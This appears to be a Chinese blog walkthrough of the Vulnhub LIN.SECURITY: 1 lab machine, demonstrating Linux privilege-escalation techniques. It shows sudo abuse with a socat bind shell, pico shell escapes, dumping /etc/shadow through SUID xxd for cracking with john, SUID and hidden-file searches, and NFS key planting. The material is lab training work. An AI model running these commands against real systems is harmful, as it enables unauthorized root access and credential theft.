本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

靶机下载之后使用仅主机模式加载到本地VMware Workstation工作站,需要发现目标靶机的IP地址,可以使用nmap,netdiscover,或者arp之类的工具 arp-scan 例如:sudo arp-scan -I eth1 -l 当然也是可以使用Windows环境下mac地址扫描工具都是可以的,那么本次演示就是arp-scan工具发现

地址:​​https://www.vulnhub.com/entry/linsecurity-1,244/​​​

sudo nmap -Pn -sC -sV -n -vvv -p- -oN linsec.nmap 192.168.202.9

nmap扫描结果

Vulnhub-靶机-LIN.SECURITY: 1_ico

看了下靶机的描述,主要讲的是各种提权姿势,可参考:​​https://gtfobins.github.io/​​  靶机还给出了一个普通用户账号供测试联系提权姿势

Vulnhub-靶机-LIN.SECURITY: 1_隐藏文件_02

连接登录上去

Vulnhub-靶机-LIN.SECURITY: 1_bash_03

方法一:

 可以通过sudo提权的命令:

bob@linsecurity:~$ sudo -l
Matching Defaults entries for bob on linsecurity:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User bob may run the following commands on linsecurity:
(ALL) /bin/ash, /usr/bin/awk, /bin/bash, /bin/sh, /bin/csh, /usr/bin/curl, /bin/dash, /bin/ed, /usr/bin/env,
/usr/bin/expect, /usr/bin/find, /usr/bin/ftp, /usr/bin/less, /usr/bin/man, /bin/more, /usr/bin/scp,
/usr/bin/socat, /usr/bin/ssh, /usr/bin/vi, /usr/bin/zsh, /usr/bin/pico, /usr/bin/rvim, /usr/bin/perl,
/usr/bin/tclsh, /usr/bin/git, /usr/bin/script, /usr/bin/scp

使用socat进行提权

sudo socat tcp-listen:8833,reuseaddr,fork exec:sh,pty,stderr,setsid,sigint,sane

Vulnhub-靶机-LIN.SECURITY: 1_隐藏文件_04

上面大概意思意思就是反弹到本地端口8833,然后获取权限就是连接此端口即可

socat FILE:`tty`,raw,echo=0 TCP:127.0.0.1:8833

Vulnhub-靶机-LIN.SECURITY: 1_隐藏文件_05

使用sudo 执行ash提权

Vulnhub-靶机-LIN.SECURITY: 1_ico_06

sudo bash提权

Vulnhub-靶机-LIN.SECURITY: 1_ico_07

其他sudo执行提权

Vulnhub-靶机-LIN.SECURITY: 1_隐藏文件_08

Vulnhub-靶机-LIN.SECURITY: 1_bash_09

Vulnhub-靶机-LIN.SECURITY: 1_bash_10

Vulnhub-靶机-LIN.SECURITY: 1_隐藏文件_11

Vulnhub-靶机-LIN.SECURITY: 1_隐藏文件_12

Vulnhub-靶机-LIN.SECURITY: 1_隐藏文件_13

Vulnhub-靶机-LIN.SECURITY: 1_bash_14

Vulnhub-靶机-LIN.SECURITY: 1_bash_15

Vulnhub-靶机-LIN.SECURITY: 1_隐藏文件_16

 rvim没有成功

Vulnhub-靶机-LIN.SECURITY: 1_隐藏文件_17

Vulnhub-靶机-LIN.SECURITY: 1_隐藏文件_18

git使用sudo提权姿势很多,具体如下:

Vulnhub-靶机-LIN.SECURITY: 1_bash_19

Vulnhub-靶机-LIN.SECURITY: 1_bash_20

下面需要执行的命令是:

sudo pico
^R^X
reset; sh 1>&0 2>&0
这里执行的实际类似nano执行的效果一样,上面的第二行是表示在键盘上按住ctrl+r和ctrl+x然后执行下面的命令,执行完成之后再次按住ctrl+r和ctrl+x再输入要执行的命令,比如id,那么就会以root权限执行

Vulnhub-靶机-LIN.SECURITY: 1_bash_21

Vulnhub-靶机-LIN.SECURITY: 1_ico_22

方法二:

 通过获取的密码hash是破解工具进行破解密码提权

Vulnhub-靶机-LIN.SECURITY: 1_ico_23

方法三:

通过计划任务使用通配符进行提权

方法四:

利用隐藏文件进行提权

查找隐藏文件:find / -name ".*" -type f -path "/home/*" -exec ls -al {} \;

找到了隐藏文件,获取了另一个用户的密码,使用su切换过去,同下面的命令找到setuid的二进制文件xxd

查找setuid权限的文件,并过来关键字snap
ls -alt `find / -perm -4000 -type f 2>/dev/null` | grep -v snap

执行xxd获取密码hash文件

xxd /etc/shadow | xxd -r > shadowbmfx

Vulnhub-靶机-LIN.SECURITY: 1_bash_24

然后通过john使用密码字典进行破解即可

Vulnhub-靶机-LIN.SECURITY: 1_bash_25

方法五:

跟上面一样,不同的是这次是通过用户bob进行切换

关键命令

查找隐藏文件
find / -name ".*" -type f -path "/home/*" -exec ls -al {} \;

查找setuid权限的文件,并过来关键字snap
ls -alt `find / -perm -4000 -type f 2>/dev/null` | grep -v snap

同样是查找setuid的权限,但是查出来不显示
find / -perm -4000 -type f 2>/dev/null;

方法六:

通过taskset命令提权 参考:​​https://gtfobins.github.io/gtfobins/taskset/​

Vulnhub-靶机-LIN.SECURITY: 1_隐藏文件_26

方法七:

通过低权限nfs进行提权

Vulnhub-靶机-LIN.SECURITY: 1_隐藏文件_27

上面是创建跟nfs挂载到本地的uid和gid一样的用户和用户组,然后本地kali使用 ssh-keygen生成密钥将公钥传到本地挂载的/mnt/perter目录下

Vulnhub-靶机-LIN.SECURITY: 1_ico_28

权限改成600,没啥问题就能使用密钥登录目标靶机了,使用strace进行提权

Vulnhub-靶机-LIN.SECURITY: 1_隐藏文件_29

参考:​​https://www.fenghlz.xyz/passages/2020-02-22-%E6%8F%90%E6%9D%83%E7%9F%A5%E8%AF%86%E5%AD%A6%E4%B9%A0-LIN-SECURITY%E9%9D%B6%E5%9C%BA/​

Vulnhub-靶机-LIN.SECURITY: 1_ico_30

 

迷茫的人生,需要不断努力,才能看清远方模糊的志向!